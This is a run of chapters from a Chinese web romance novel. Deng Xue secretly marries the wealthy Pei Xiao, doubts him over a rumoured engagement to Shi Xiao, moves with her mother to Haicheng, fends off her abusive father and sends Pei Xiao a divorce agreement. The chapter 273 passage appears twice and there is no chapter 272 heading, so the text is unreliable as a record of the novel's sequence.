这个结局,她是能接受的。
她也就不怕了。
填表,拍照,登记,拿结婚证。
又熟又不熟的两个人,就这样成了法律意义上的夫妻。
“我们要不要去补一个婚前财产协议,免得你吃亏。”邓雪提议。
裴啸淡淡地瞥了她一眼,“是怕我吃亏,还是你自己吃亏?”
“当然是你怕吃亏啊,你的钱总比我的钱要多,不过你放心,我不会花你的钱的,而且,我们家的事情,你也不用操心,我都会处理的。”
邓雪思来想去的。
还有一点,需要跟裴啸讲清楚,“我们这样偷偷摸摸地结婚,我妈那边还好说,你父母那边,我觉得……,我们就先不要生小孩了,万一后面要离婚,有了孩子,对你我来说都是拖累。”
他没说什么。
只是淡淡地收起结婚证。
“你现在事业上升期,确实不适合要孩子,至于离婚的事情……,没有人刚结婚,就想离婚的事情……”
他锐利的眸子,看向邓雪,“……我这个人挺保守的,结了,一般不离。”
邓雪没懂的意思。
但还是跟着他的话,哦了一声,“知道了。”
他抬手扣住她的肩,一起上了车。
回去的路上,邓雪一直也没有说话。
这事对于她来说,过于不真实,她甚至不知道,以后要如何在一起生活。
要在一起吗?
还是各回各家,各找各妈?
她和母亲相依为命,自己突然就出去住了,不给个解释是不行的。
那就分居?
刚结婚就分居,属实有点说不过去。
那怎么办呢?
“那个……我们要住一起吗?”邓雪声音小小的。
裴啸点头,“要。”
“那我得……跟我妈说一声。”可她现在,不知道如何跟母亲说这事,“……我需要时间,一周吧。”
“可以。”他同意了。
结婚这事。
邓雪静下心来,是有点后悔的。
她后悔当初应该接受裴啸恋爱的请求,最起码恋爱不成,是分手,而现在呢,是离婚。
莫名其妙,她会成为一个二婚……
她真的觉得,自己有时候,智商是不在线的。
回到家后。
她累得一动不想动。
邓母给她倒了杯水,“衣服都送回去了?”
“啊?啊。”邓雪将水杯接过来,轻轻地啜了一口,“妈,你觉得裴啸这个人,怎么样啊?”
“人是挺好的,你不是说,他跟咱们不是一
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个世界的人吗?人家是富贵公子哥,咱们什么也不是,遇到这样的人啊,是福气,也不是。”
邓雪叹。
那这样的,算什么?
“妈,如果我将来结婚了,又实在过不下去,再离婚,你会嫌弃我,给你丢人吗?”
邓母对女儿,没有要求。
女儿能凭着自己的努力,让她过上这样的生活,她已经很知足。
“婚姻就像是一场赌局,有赢就是有输,如果你输了,就回家来,妈永远都是你的后盾,妈不会觉得你丢人,只会更加地心疼你。”
“妈,你真好。”邓雪感动。
邓母感慨,“妈这辈子就毁在了婚姻上,要是早一点跟你那个爸离了,我也不用受那么多的折磨,记住孩子,离婚不是什么丢人的事情,是自我的解救,和对自己一种负责任的体现。”
“妈一直不敢劝你结婚,就是怕自己的悲剧,在你身上重演,小雪,如果你想结婚了,妈不拦着你,但你也得面对自己婚姻失败的勇气,不能像妈这样,犹犹豫豫的,受了太多的伤害,才……”
想起往事。
邓母的心里不是滋味。
她是婚姻家暴的受害者。
女儿何尝没被她连累呢。
她是对不起孩子的。
看着母亲眼眶泛起红。
邓雪轻轻地将母亲拥住,“我知道了妈,妈,我想告诉你一件事情。”
邓母擦了擦脸上的泪。
看向女儿,“什么事情啊?”
“妈我刚刚……和裴啸他……领证了。”
邓母震惊,不解地张了张嘴,“你对他不是……”
“是他想跟我领证,其实,我和他真的不是太熟……就是,就是……”她当着母亲的面,实在是说不出上床这样的话来,“……就是偶然的……妈,你懂的。”
邓母懂是懂。
但这也太令她费解了,“那他的父母知道你们领证这事吗?”
邓雪摇头。
她猜裴啸应该不会,这么快就告诉父母。
甚至,她认为,裴啸应该不会把领证的事情,告诉他的父母。
她和他的婚姻,更大程度上,会是隐婚。
“现在还不知道。”
邓母叹气,为自己的女儿不值,“他那样的人,不会是跟你玩玩的吧?小雪,妈不怕你离婚,妈是怕你在感情上,受到伤害。”
第269章 他等的人是谁
邓雪明白母亲的担心。
现在已然没了回头路。
只有走一步看一步。
“我……还好吧,我们之间没有恋爱过,没有很深的感情,或许他只是一时冲动,妈,你放心,我其实……已经做好离婚的准备了,我把自己的心态调整的很好,不会受到伤害的。”
这话说的,有一些悲伤在。
邓母想说些什么,最终什么也没有说出口。
邓雪正常上班,工作,有时间就会收拾一下自己的东西。
她没打算带太多。
裴啸说,不让她再穿以前的那些老气横秋的衣服。
她只带了两套职业装。
平时,她也没那么古板,但也不性感,睡衣都是卡通的,连拖鞋都是。
不像裴啸,睡衣都是真丝的。
那床垫睡起来,真的很舒服。
她越发觉得自己与他,是不在一个维度上的两个人。
硬着头皮。
她将自己的东西,搬到了裴啸的家里。
又像一个老妈子似的,将二百多平的房间,全部打扫了一遍。
尽管……本来就很干净。
她的打扫也并没有锦上添花。
手机响起。
是宋南伊打来的。
“喂,老板。”
“邓雪,晚上有一个业内宴会,有不少咱们的客商在,你跟我去参加一下,顺便拓展一下咱们的业务范围。”
宋南伊有意要开一家分公司。
选址在海城。
有一部分客商是要挪到那边去负责的。
邓雪明白宋南伊的意思,“好的,老板,我马上去公司。”
“等你哦。”
当两个女人,一身职业装的,出现在这个浮夸的晚宴的时候。
邓雪头皮还是紧了紧,“老板,大家打扮的好像都很……华丽,没有人像我们这样的,而且,我们看他们好像都男伴或是女伴的。”
宋南伊也感觉出来了。
但没关系。
她们又不是来卖弄风姿的。
“没事,咱们就找目标客户,聊新公司的事情,聊完,我们就走,我们又不卖酒,又不卖笑的。”
邓雪点头,“明白老板。”
YY珠宝近几年,势头很猛。
再加上宋南伊霍太太的身份,大家都会给她三分薄面。
“宋总。”喊宋南伊的是施培生。
他在江城也是有一定分量的人物。
听说,施家要跟裴家联姻。
宋南伊抬眼,微笑着,“施总你好。”
邓雪也跟着望过去。
她是真有没想到,会在这儿遇到裴啸。
他身旁站着的,正是施培生的女儿,施晓。
他的那个联姻对象。
施晓高傲的抬着下巴,好像谁也不放在眼里。
邓雪看了裴啸一眼。
他面色平淡到,跟她似乎并不熟识一般。
邓雪的心,冷了一下。
不太舒服。
“宋总,知道你设计的珠宝特别难求,我家小女马上就要好事临门了,可否走个后门,为我家小女,设计一款适合她的珠宝首饰?”
宋南伊:……
这确定是要订下婚事了吗?
她没听霍时序提起。
有生意找上门。
宋南伊没有推掉的道理,“当然,施小姐到时可以跟我讲一下你的要求,我一定会竭尽所能的,完成。”
施培生满意大笑。
施晓看了裴啸一眼,说,“我知道宋总和你的先生,都跟裴啸哥很熟悉,就照着他喜欢的款式来设计吧。”
“那……也得你喜欢不是吗?”宋南伊看向了裴啸,“男人嘛,对珠宝这种东西,没什么审美的。”
“倒也是。”
施晓挽住自己的父亲的胳膊,撒娇的晃了两下,“爸,那我要和裴啸哥一起去YY珠宝,让宋总为我们量身订制。”
“宋总,你看可以吗?”施培生扬起笑意问询。
宋南伊点头,将邓雪带到身前,“当然可以,这位是我们的副总,到时,可以直接让邓副总安排接待。”
“你好,邓总,请多关照。”施晓将手伸向了邓雪。
邓雪很礼貌的,轻轻的握了握她的指尖,“为你服务,是我的荣幸。”
施晓很满意的笑了笑。
宋南伊带着邓雪离开。
邓雪回头看了裴啸一眼。
他依旧陪在施家父女身旁,跟着他们一起举杯换盏,谈笑风声。
宋南伊察觉邓雪不对劲。
她在看裴啸。
“怎么了?”
邓雪收神,尴尬的咧了咧嘴,“没事,裴总他……是不是要跟施家小姐订婚了?”
“可能吧,不然,为什么要订制首饰呢。”
“挺好的,挺般配的。”邓雪黯然。
宋南伊不知道该怎么形容,裴啸和施晓在一起的感觉。
家世是般配的。
施晓这个人,可是出了名的骄纵,要真嫁给了裴啸,够他喝一壶的。
“婚姻如人饮水
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,冷暖自知。”宋南伊看邓雪有些魂不守舍的,“你怎么了?是不舒服吗?不舒服别硬撑。”
“我没事老板,可能是这里面的香水味太浓了,有点头疼而已。”邓雪胡乱找了个借口。
宋南伊也觉得是。
但她还有一个重要的客户没见到,“一会儿,咱们跟吕总打过招呼,就走。”
“好的老板,我没事的,你不用顾及我。”
跟在宋南伊身边,应酬,邓雪没敢再把注意力放在裴啸和施晓的身上。
但不舒服是真的。
心里有情绪也是真的。
她也不是嫉妒。
更多的是,不明白裴啸的用意是什么?
跟她领证,然后跟施家小姐,订婚,这是哪一出?
她不懂啊。
上层圈是这么玩感情这一套的吗?
这样,真的合理吗?
应酬完后。
邓雪和宋南伊一起返回了公司。
公司里的事情很多。
邓雪也没有时间胡思乱想。
中间,她收到了裴啸发来的信息。
一句话,“回去了?”
三个字,简单的不能再简单。
甚至连用意,她都猜不出来。
邓雪没回。
下班时间,霍时序来接宋南伊。
上车后。
霍时序对她说,“裴啸的车在那儿停着。”
“来找我的?”宋南伊刚要推门下车,被霍时序叫住,“你想的美,肯定不是来找你的,但是来找你们公司里的某一位的。”
宋南伊错愕。
公司里的设计师很多。
未婚的更多。
但没听到什么,风吹草动。
“你说,他在跟我们公司里的某一位优秀的女孩,恋爱?”不可能吧,明明今天在宴会上还见到了,他要跟施家联姻的,“我看他和施家的小姐,很聊得来的,施培生还跟我下单了,说要给女儿订首饰,订婚的时候用。”
霍时序摇头。
他可没听说裴啸要订婚的事情。
“可能是施家一头热吧。”
“怎么会是施家一头热呢,明明裴啸哥的意思,也很明显啊……,难不成,只为生意不为人?”
那施家是怎么肯的?
施家没有好处啊。
“你有内幕消息?”宋南伊问霍时序。
霍时序笑笑,“我没有,我也是猜的。”
“那你觉得,裴啸哥在我公司楼下等人,是等的谁?”宋南伊比任何人,都好奇。
第270章 她没有立场去质问
霍时序没有答案。
打了把方向,将车子开上路,“别人家的闲事,你就别管了,你管管你老公,都饿了一天了,现在急需吃点东西。”
“你一天没吃饭啊?”宋南伊拿出手机来,立即订了餐厅,“前面路口左拐,有一家尚德餐厅,菜挺好吃的,我订了位子了。”
霍时序温柔又宠溺地握起她的手,递到唇上吻了吻,“我有老婆如此,我可真是幸福得要命了。”
“少来。”
……
邓雪通常是公司里,走得最晚的那一个。
前段时间,宋南伊提起,让她去海城的新公司,任总经理的事情,让她考虑。
今天,又问及她的意见时。
她没多想就答应了。
按理说,她应该问一下裴啸的意见。
两人关系上来说,得尊重。
但一想到,他现在应该没时间理她,也就算了。
走出公司。
她深吸了一口,江城深夜的空气。
车子解锁。
她刚要拉开车门,车门就被一股力,给关上了。
抬眸。
她看到了裴啸。
有一丝惊讶,但很平淡,“你怎么来这儿了?”
“接你。”他说。
邓雪哦了哦,“我开车了。”
“今天坐我的车回去,明天一早,我送你来上班。”他很强势。
将她手上的车钥匙拿了去。
邓雪没有反抗。
乖巧地跟着他上了车。
她没有问今天在宴会现场的事情,也不觉得有问的必要。
裴啸也没有要解释的意思。
为数不得多的话里,也都是一些与二人无关的。
“晚上想吃什么?”他问。
邓雪:“在公司里泡了包面吃过了,不算太饿。”
“我饿了,陪我吃点。”
“哦,行。”她答应得着,人软软的。
车子拐去了餐厅。
裴啸的车子刚停下,刚好霍时序和宋南伊准备离开。
看着他车里下来的邓雪。
宋南伊眼珠瞪圆,不敢置信,“裴啸哥他……”
“很奇怪?”
宋南伊点头,“那次聚会,我还想把邓雪介绍给他呢,裴吟说,邓雪不是裴啸的菜,这怎么……,不对啊,他不是要跟施家联姻了吗?怎么又……”
想不通。
实是想不通。
霍时序看了二人一眼,“感情的事情,哪是一个人能看懂的,你也别问邓雪,要不然,她压力更大。”
这事宋南伊知道。
但她怕邓雪在这场感情游戏中,受到伤害。
无论从外表看起来,有多坚强,女人的心壳里面总是脆弱的。
“希望裴啸哥,可以好好地待邓雪。”
“裴啸不是乱来的人,他做每件事情,都有他的想法,你别想太多了。”
车子开出去。
他们去了反方向。
裴啸和邓雪下车。
一人前,一人后的走着。
他想去牵她的手,她不动声色地躲开了。
落座后。
邓雪将菜单,交给了裴啸,“你点吧,我吃得不多,没什么忌口的。”
裴啸接过菜单。
点了几道平常的菜品。
二人没说话,就像普通的朋友一般的,面对面的坐着。
中间。
施晓给裴啸打了个电话,说的什么,邓雪没有听到,裴啸也没有给过多的反应,只有一个字‘好。’
就结束了通话。
“那个……过段时间,我要去海城工作。”邓雪提及了自己的工作安排。
裴啸意外。
眼眸藏着深意,“这是之前决定的,还是今天?”
邓雪淡淡:“之前宋总跟我讲过这事,让我考虑一下,今天,她问我的意思,我便告诉她,我同意去海城工作。”
他明白了。
也并没有阻止,“如果这是你的想法,我没有意见。”
邓雪点头。
她心里还是希望他可以挽留一下的。
但他没有。
意味着,她去哪儿,他其实是不在乎的。
心挺涩。
但面上,她却笑了笑,“谢谢你的支持。”
“先吃饭吧。”
裴啸不是一个话多的人。
邓雪也不算是。
大家沉默吃饭,连一两句的闲话都没得说。
气氛奇怪,又压抑。
回到家后。
邓雪打开行李箱,将自己为数不多的衣服,拿出来,挂到衣柜里。
她庆幸,带的东西足够少。
离开的时候,会省很多时间收拾。
“我把上次给你买的衣服,全部挂到了衣帽间里。”
邓雪哦了一声,“知道了。”
“过几天,有时间,我再陪你去买几双鞋子。”他又说。
邓雪清淡地拒绝,“不用,我的鞋子都是以舒服为主,太漂亮了,我穿着不合脚,没法工作。”
“随你吧。”他这次并没有强求。
邓雪将自己的东西收拾好后,便将行李箱,放到了柜子最里面,“我去洗澡了。”
裴啸抽了根烟,递到唇上慢慢吸着。
他在想,或许,他可以解释一下,今天为什
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么要跟施家人站在一起的原因。
她会信吗?
又或者说,她会在意吗?
如果她在意,他跟别的女人的关系,今天见到她时,她应该就问了。
她认为自己没有立场?
在婚姻上,她是妻子,有足够的立场。
但在感情上……
他喜欢她,但不爱她。
她应该也是一样。
她脾气温和,不乖张,性格上虽沉闷,但工作起来足够圆滑,她没有那些千金小姐身上的娇纵和臭脾气,做事又有十足耐心。
这些品质,足以打败她没有家世背景,这个缺点。
可偏偏,她没有这样的自信。
所以……这才是她不问的原因吗?
烟吸了三根。
邓雪从浴室里出来,闻到烟味,便去给窗子打开了条缝。
作为一个妻子,她有权力要求丈夫吸烟的时候,不要影响到自己。
但她没有。
自然而然的动作过后,她上床躺下。
这个床垫实在是舒服。
舒服的她,躺下就能立马睡着。
邓雪想着,明天裴啸离开家时,她得把这个床垫的品牌拍下来,给自己家的床换上。
他关了灯。
翻身过来搂住她的腰,将前胸贴到她的后背上。
“什么时候去海城?”
邓雪也不知道具体的日期,“大概,一个月左右吧,具体看宋总的安排。”
“多久能回一次江城?”他又问。
邓雪摇头,“头半年,应该不会回江城,那边新公司,需要做的事情蛮多的。”
“那……我去看你,可好?”
邓雪微愣,弯了弯唇,“好。”
这晚,他们没有做,就这样拥着。
她知道他没有睡,但她不知道,他在想什么?
在想施晓吗?
想着他和她的订婚礼,要怎么样做,才能让小公主感觉到开心和幸福?
应该是吧。
“你们订婚礼在什么时候?”她突然问。
裴啸:“嗯?”
“我是想说,如果你们订婚礼订在近期的话,麻烦你跟施小姐说一声,首饰的订制是有周期的,如果订得太急,可能会赶不出来。”
裴啸没说话。
邓雪以为他没听懂。
便又解释说,“从给出想法,到设计师定稿,再到出成品,这个时间不会很短,如果你们都有时间,就尽早一起来YY,我会安排设计师跟你们对接,如果要宋总亲自设计的话……更得提前,她的单子排得很满,可能……时间上,会更长一些。”
第271章 她要离开江城
“邓雪。”裴啸低声笑着,“你确实是一个很好的助手,至少对于宋南伊来说,你是一个不可或缺的人才。”
“什么,什么意思?”她不懂。
他扳过她的身子,淡淡地看着她,黑夜里,二人的眸子,格外的闪亮。
“意思就是,我娶了你,一点都不亏,你很优秀,将来也会是我的好助手。”他觉得他是捡到宝了,“如果你愿意的话,将来我们一起奋斗。”
邓雪似懂非懂。
他是把她当成一个合作伙伴了?
而不是一个妻子。
怪不得呢。
她突然就理解了,裴啸为什么跟她领了证,还要跟施晓订婚的事情。
在他的心里。
她的定位应该是一个可以上床的,工作伙伴。
为了让这件事情合理化,他用一张结婚证,将关系合法化。
而施晓,是他事业上的助力。
一步顶百步的施家,会是他最终的选择。
邓雪笑了。
她确实没有想到,裴啸会费这么大的心机。
“我暂时没有离开宋总的想法。”她轻轻地推开他,翻过身,背对着他,“以后的事情,以后再说吧。”
夜,深了。
她的心,却空了。
邓雪的日子过得单调,又不快乐。
每天强颜欢笑,她实在是累得要命。
这一天。
她找到了宋南伊,“老板,我可不可以,早一点去海城?”
“怎么这么着急?”宋南伊不解。
邓雪找个了说得过去的理由,“有些事情,光在这边准备,还是有些心里没底,早一点过去,那边的工作也能顺利开展,我是这样想的。”
宋南伊点头。
她本意是想让邓雪在江城多呆些日子。
一旦去了海城,再回来江城,可就是半年,甚至是一年后了。
她刚要动唇说话。
邓雪便又说,“老板,其实你也知道,我只有一个妈妈了,海城那边工作,如果一直要我负责的话,我想把我妈一起带过去,这样,我也好安心工作,您觉得可以吗?”
宋南伊对此毫无意见。
“当然可以,但……你不打算回江城了?”
“既然您让我去负责那边的分公司,我就在海城生活呗,我在江城没有太多的牵挂,就一个妈,走哪儿带哪儿,在江城,又或是在海城,对我来说,都是一样的。”
邓雪很上进。
很努力,宋南伊一直对她很欣赏。
就是觉得,这对于一个女孩来讲,有一些压力和委屈。
“分公司,交给你,我是放心的,你想什么时候过去,自己决定吧,邓雪这个……”
宋南伊将一份股权书,给了她,“……这是分公司的股权书。”
邓雪接过股权分配书看了一眼,忙推了回去,“不行,老板,这太多了,我不能要。”
“这分公司交给谁,我都不放心,这是你应得的,算是我……给你的嫁妆吧。”
邓雪眼眶泛酸。
她何德何能,能遇到这样的好老板,“老板,你这样,我……以后都不知道会不会……你搞得我想哭。”
“等你遇到了那个可以托付终生的人,一定会结婚的。”宋南伊笑着,递给邓雪纸巾,“分公司的成立,顺利运行,都需要付出很多的精力,以后,要辛苦你了。”
“知道了,老板,我会尽快起程去海城的。”
“我们一起加油。”
邓雪走出办公室,宋南伊咬着笔尖发起呆。
邓雪的性子一直偏沉稳,缺少她这个年纪,该有的活泼和灵动。
安静,踏实,这是她的优点。
为什么,她感觉邓雪不快乐呢。
是她给的压力太大了吗?
……
下班后。
邓雪回到自己的家。
跟母亲提出要带她去海城的事情。
母亲倒也无所谓。
女儿去哪儿,她便去哪儿。
就是……
“裴先生,同意你要去海城的事情了吗?”
邓雪点头,“我跟他讲了,他同意。”
“你们这才刚结婚,就要分开,那感情方面……”母亲是担心的。
邓雪笑笑,“妈,我们之间哪来的感情,你别担心了,这几天你收拾一下要带的东西,到时,我带你一起走。”
母亲没说什么,点头同意,“好,那咱们……什么时候回江城啊?”
邓雪沉默了。
也许,应该……一辈子都不会回来了吧。
“妈,我们去海城定居,如果没有特殊的情况,我们就住在海城了,那边空气好,环境也好,你一定会住得习惯的。”
邓母诧愕,忙问,“不回江城了?那你和裴先生你们……”
“妈,你说过的,我离婚,你不会觉得丢人。”
“不,妈
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不是觉得丢人,妈是觉得……你们刚领证才几天,怎么就……”早知道这样,何苦给彼此打上个二婚的标签呢,“……妈只是……心疼你。”
“妈,我没事的,我们之间没有感情,也没有爱情,充其量有一点喜欢,喜欢不是爱,没那么深拔不出来,很快就会过去的,别担心,我真的没事。”
婚姻不是邓雪主动要的。
这次的领证,算是意外吧。
邓母没再说什么。
去收拾东西去了。
邓雪一个人坐在阳台上,她点了颗烟,没吸,就那样任由着它在指尖沦陷。
一切准备就绪,是一个星期后。
这一周,她没有回裴啸家里睡过,他也没有找过她。
邓雪觉得,临走了,想跟他好好道个别。
她去了一趟润合集团。
站在楼下,她给他打了个电话。
“有时间吗?见一面吧。”
手机听筒里的声音很杂,但裴啸清晰的声音,还是传过来,“楼下咖啡店,你等我,我马上下来。”
“好。”
邓雪点了两杯咖啡。
她安静地坐在座位上,就那样望着外面发呆。
一个小时四十三分。
裴啸出现。
“抱歉,公司里有些事情需要处理。”他身上染了风的味道。
邓雪笑笑,没介意,“也没有别的事情,就是想跟你说一声,明天我就要去海城了。”
“这么快,不是说要一个月吗?”他意外。
邓雪淡道,“那边是新公司,工作比较多,所以得提前过去。”
“嗯。”他点头,表示理解,“那你过去,照顾好自己,有时间,我会过去看你。”
邓雪这次没说好。
也没说不好。
唇角是依然是淡而温和的弧度,“我过来就是跟你说一声,我得走了,也没别的特别的事情,你喝杯咖啡就回去工作吧。”
“最近……一直在忙去海城的事情?”他是想问,她一直没有回去住的原因。
邓雪明白,“是啊,需要准备的东西比较多,所以……”
裴啸端起咖啡喝了两口,“理解。”
“嗯,那我就先回去了。”她起身,特意看了裴啸一眼,“再见。”
他点头。
邓雪转身离开。
裴啸也没有去送。
就只是那样望着她的背影,慢慢地消失在他的视线……
第273章 还没有挑到好日子
邓刚是什么人,邓雪最知道。
如果见不到她,他一定不会离开。
母亲没离婚前,被他常年家暴,每次听到他的声音,都会有应激反应。
她哪能放心。
车子一脚油门,回了家。
刚上电梯,就看到邓刚坐在家门口的地毯上。
见到女儿回来,邓刚眼神中放出兴奋的光泽,“小雪,你回来了,你看爸都等你好久了,你妈她太不像话,也不让我进门。”
“你怎么找到我们家的?”邓雪冷着脸问。
邓刚揪了揪衣角,很自豪地说,“那你就别管了。”
“说吧,你找到这儿来,想干什么?”
邓雪并不热情,很反感,是她向来的态度。
邓刚不在意这个,他只想要钱,“小雪,你看爸最近手头紧得很,我听说你来海城是升职了,这次多给爸一点,爸保证以后,少来骚扰你,你看行吗?”
“我哪来的钱?这租房不要钱吗?我和我妈生活不要钱吗?你年纪也不大,就不能自已去找个工作?”
邓雪听到要钱,头皮就发麻。
邓刚要钱要习惯了,这一伸手就有钱拿,和干活才有钱拿。
他自然选择前者。
“我这么大岁数了,谁会用我呢,小雪,这次你给我二十万,我保证一年不来找你。”
邓雪愕然。
这次口张的比鳄鱼都大,“你跟我要二十万?你真当我是开银行的了?你要二十万干什么?你一个老头子,你一年,花得了这么多钱吗?”
“那我是老铁树想开花了……”邓刚抓了抓耳朵,还有一些不好意思,“……不瞒你说小雪,我给你找了个后妈,她年轻,漂亮,我得养活啊,这二十万也不多,你说对吧。”
邓雪恨得牙根痒痒。
年轻时,邓刚就没少往家里带女人。
那时他可没把她们娘俩当人看。
恶心事,一件接着一件地干。
这是**病又犯了?
“你养活女人,凭什么我出钱?再说了,我有亲妈,我要一个后妈干什么?”
“那……”邓刚见邓雪只质问,也不往外拿钱,开始耍混,“……我一个老子,问你一个女儿要钱,还要凭什么?”
“我没钱。”邓雪不想再把钱,扔进这个无底洞,“你赶紧走,以后也不要再来。”
邓刚钱不好要。
每次,都要被女儿数落一番,不由得瞪起眼来。
抬手就将邓雪推了个踉跄。
“今天,你给也得给,不给也得给,邓雪,我告诉你,你是我女儿,你有义务赡养我。”
邓雪被推了个踉跄,人撞到门口的鞋柜上,发出沉闷声响。
胳膊肘发麻。
“你现在当我是女儿了?我小的时候,你养过我吗?还不是动不动的就把我跟我妈,赶出去?你在家里跟别的女人鬼混的时候,你有考虑过,我这个女儿的感受吗?”
邓雪双眸厉色。
对着邓刚过去的所作所为,全是指控,“你还推我,我告诉你,我没有你这个爸,再不走,我就报警了。”
一听到要报警。
邓刚顿时火了。
他抄起手边的木棍,对着邓雪就挥了起来。
“臭丫头,你还要报警抓老子?老子今天就让你看看,谁是爹。”
邓刚打老婆孩子,手下没有留情过。
邓雪反抗,他力不从心,但没手软。
听到动静的母亲,从屋里冲出来,向邓刚挥舞菜刀,“你滚,马上滚,否则我杀了你……”
母亲失控。
这菜刀往下劈的是一点都没有留情面。
邓刚害怕了。
他再狂,也不年轻了,这母女两个,要真收拾他,他还真无法招架。
“你个疯婆子,我告诉你,你要伤了我,你也得去做牢,赶紧把刀放下。”邓刚重重地戳着电梯,想着赶紧离开,“好,我走,但我还会再来的,死婆子,下次,我先杀了你。”
邓刚骂骂咧咧地进了电梯。
邓雪这才轻轻地将母亲手中的刀,拿了下来,“妈,你没事吧?”
“他太欺负人了,在江城就没完没了,我们来海城了,他又跟来了,他就是个魔鬼……”母亲哭着瘫倒在地上,“……小雪,我真的很想跟他同归于尽,那样,你也能过几天安静的日子了。”
“妈,你别说这个,咱们先回家。”
母亲是受到了刺激。
安抚了好一会儿,才让她平静。
邓雪一个人坐在客厅里。
头疼的厉害。
火机燃起,她点了颗烟,递到唇上,慢慢的吸着。
她以前不吸烟。
什么时候学会的,也忘了。
她这个人太闷了,太枯燥,她也有烦恼,可是跟谁讲呢?
她没有好朋友,更没有什么闺蜜。
她只有一个人,默默的消化。
打开
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手机。
她搜索着江城最近的大事件。
很多。
关于霍家的。
关于袁家的。
关于马家,杨家的。
但没有关于裴家的。
裴啸没有和施家订婚吗?
还是说,这个订婚,是秘密进行的,外人不知道?
应该不是。
联姻这种事情,就是要把影响扩大化,才能实现共赢。
应该是还没有挑到好日子吧。
烟雾袅袅,灰青色遮盖住,她本就有一些憔悴的脸。
吸了一半的烟,被她摁灭。
她重新陷入了无尽的黑暗之中。
工作之余。
邓雪找律师起草了一份离婚协议书。
她想,她应该主动结束这段关系,而不是被动的等通知。
江城。
收到离婚协议书的男人,仔细的将每个字,都看的很清楚。
然后就扔到了桌上。
霍时序看了他一眼,便将离婚协议收拿到手上看。
意外也不意外。
“你还真跟邓雪领证了?瞒的可够严实的,不过……这才领证几天啊,怎么闹上离婚了?”
裴啸抽了根烟,递到唇上,神色黯淡,“有误会。”
“什么误会?你和施家的误会?”
裴啸的父亲,和施培生最近走的很亲近。
好像在商量着两家的婚事。
那个施晓更不用说,一天跑好几趟润合集团,就差一点把自己栓在裴啸腰上了。
论条件。
施晓比邓雪不知道强多少倍。
但……
裴啸更有自己的想法,“我和施家不会订婚,更不会结婚。”
“你还能拗得过你爸?”
裴啸吸了口烟,落寞的笑了笑,“确实拗不过,那就拖,我暂时不想把我结婚的事情,告诉他,免得他去找邓雪的麻烦。”
“现在不是你要不要告诉的问题,现在是人家邓雪不想跟你了……”这离婚协议书,写的很清楚,“……她说你们之间感情破裂,没有挽回的余地,你怎么想的?”
“她也不过是一个正常的女人。”他低头笑了笑。
霍时序没听明白什么意思,“啥意思?你跟她领证的时候,她不正常?”
“你不懂。”
霍时序:……他不懂?他都生三个了,他不懂男女之事?
“那你接下来,要怎么应付,这个离婚协议?是昭告天下,还是继续隐婚?”
第273章 还没有挑到好日子
邓刚是什么人,邓雪最知道。
如果见不到她,他一定不会离开。
母亲没离婚前,被他常年家暴,每次听到他的声音,都会有应激反应。
她哪能放心。
车子一脚油门,回了家。
刚上电梯,就看到邓刚坐在家门口的地毯上。
见到女儿回来,邓刚眼神中放出兴奋的光泽,“小雪,你回来了,你看爸都等你好久了,你妈她太不像话,也不让我进门。”
“你怎么找到我们家的?”邓雪冷着脸问。
邓刚揪了揪衣角,很自豪地说,“那你就别管了。”
“说吧,你找到这儿来,想干什么?”
邓雪并不热情,很反感,是她向来的态度。
邓刚不在意这个,他只想要钱,“小雪,你看爸最近手头紧得很,我听说你来海城是升职了,这次多给爸一点,爸保证以后,少来骚扰你,你看行吗?”
“我哪来的钱?这租房不要钱吗?我和我妈生活不要钱吗?你年纪也不大,就不能自已去找个工作?”
邓雪听到要钱,头皮就发麻。
邓刚要钱要习惯了,这一伸手就有钱拿,和干活才有钱拿。
他自然选择前者。
“我这么大岁数了,谁会用我呢,小雪,这次你给我二十万,我保证一年不来找你。”
邓雪愕然。
这次口张的比鳄鱼都大,“你跟我要二十万?你真当我是开银行的了?你要二十万干什么?你一个老头子,你一年,花得了这么多钱吗?”
“那我是老铁树想开花了……”邓刚抓了抓耳朵,还有一些不好意思,“……不瞒你说小雪,我给你找了个后妈,她年轻,漂亮,我得养活啊,这二十万也不多,你说对吧。”
邓雪恨得牙根痒痒。
年轻时,邓刚就没少往家里带女人。
那时他可没把她们娘俩当人看。
恶心事,一件接着一件地干。
这是**病又犯了?
“你养活女人,凭什么我出钱?再说了,我有亲妈,我要一个后妈干什么?”
“那……”邓刚见邓雪只质问,也不往外拿钱,开始耍混,“……我一个老子,问你一个女儿要钱,还要凭什么?”
“我没钱。”邓雪不想再把钱,扔进这个无底洞,“你赶紧走,以后也不要再来。”
邓刚钱不好要。
每次,都要被女儿数落一番,不由得瞪起眼来。
抬手就将邓雪推了个踉跄。
“今天,你给也得给,不给也得给,邓雪,我告诉你,你是我女儿,你有义务赡养我。”
邓雪被推了个踉跄,人撞到门口的鞋柜上,发出沉闷声响。
胳膊肘发麻。
“你现在当我是女儿了?我小的时候,你养过我吗?还不是动不动的就把我跟我妈,赶出去?你在家里跟别的女人鬼混的时候,你有考虑过,我这个女儿的感受吗?”
邓雪双眸厉色。
对着邓刚过去的所作所为,全是指控,“你还推我,我告诉你,我没有你这个爸,再不走,我就报警了。”
一听到要报警。
邓刚顿时火了。
他抄起手边的木棍,对着邓雪就挥了起来。
“臭丫头,你还要报警抓老子?老子今天就让你看看,谁是爹。”
邓刚打老婆孩子,手下没有留情过。
邓雪反抗,他力不从心,但没手软。
听到动静的母亲,从屋里冲出来,向邓刚挥舞菜刀,“你滚,马上滚,否则我杀了你……”
母亲失控。
这菜刀往下劈的是一点都没有留情面。
邓刚害怕了。
他再狂,也不年轻了,这母女两个,要真收拾他,他还真无法招架。
“你个疯婆子,我告诉你,你要伤了我,你也得去做牢,赶紧把刀放下。”邓刚重重地戳着电梯,想着赶紧离开,“好,我走,但我还会再来的,死婆子,下次,我先杀了你。”
邓刚骂骂咧咧地进了电梯。
邓雪这才轻轻地将母亲手中的刀,拿了下来,“妈,你没事吧?”
“他太欺负人了,在江城就没完没了,我们来海城了,他又跟来了,他就是个魔鬼……”母亲哭着瘫倒在地上,“……小雪,我真的很想跟他同归于尽,那样,你也能过几天安静的日子了。”
“妈,你别说这个,咱们先回家。”
母亲是受到了刺激。
安抚了好一会儿,才让她平静。
邓雪一个人坐在客厅里。
头疼的厉害。
火机燃起,她点了颗烟,递到唇上,慢慢的吸着。
她以前不吸烟。
什么时候学会的,也忘了。
她这个人太闷了,太枯燥,她也有烦恼,可是跟谁讲呢?
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应该不是。
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应该是还没有挑到好日子吧。
烟雾袅袅,灰青色遮盖住,她本就有一些憔悴的脸。
吸了一半的烟,被她摁灭。
她重新陷入了无尽的黑暗之中。
工作之余。
